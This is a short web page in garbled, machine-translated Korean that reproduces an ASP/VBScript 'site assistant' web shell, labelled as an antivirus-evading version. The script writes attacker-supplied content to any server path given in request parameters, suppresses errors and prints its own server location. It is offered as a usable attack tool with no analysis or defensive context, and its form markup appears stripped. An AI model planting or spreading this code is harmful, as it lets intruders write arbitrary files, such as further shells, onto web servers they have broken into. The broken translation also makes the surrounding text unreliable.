방주-사이트 조수 욱 방 면 살 asp 버 전 수정

<%@LANGUAGE="VBScript" CODEPAGE="936"%> 주석 - 사이트 작은 조수 욱 측 이 면 살 판

<% dim FSO %> <% dim Data %> <% dim MyFile %> <% on error resume next %> <% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("path1"))<>"" then %> <% Data = request("path2") %> <% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> <% MyFile.Write Data %> <% if err =0 then %> <% response.write "성공 하 였 습 니 다! :)" %> <% else %> <% response.write "실패 하 였 습 니 다! :(" %> <% end if %> <% err.clear %> <% end if %> <% MyFile.Close %> <% Set MyFile=Nothing %> <% Set FSO = Nothing %> <% Response.write "" %>

    <% Response.write "이 파일 의 서버 위치:" %> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "" %>   입력 경로:<% Response.Write "" %> <% Response.write "입력 내용:" %> <% Response.write "" %> <% Response.write "" %>

좋은 웹페이지 즐겨찾기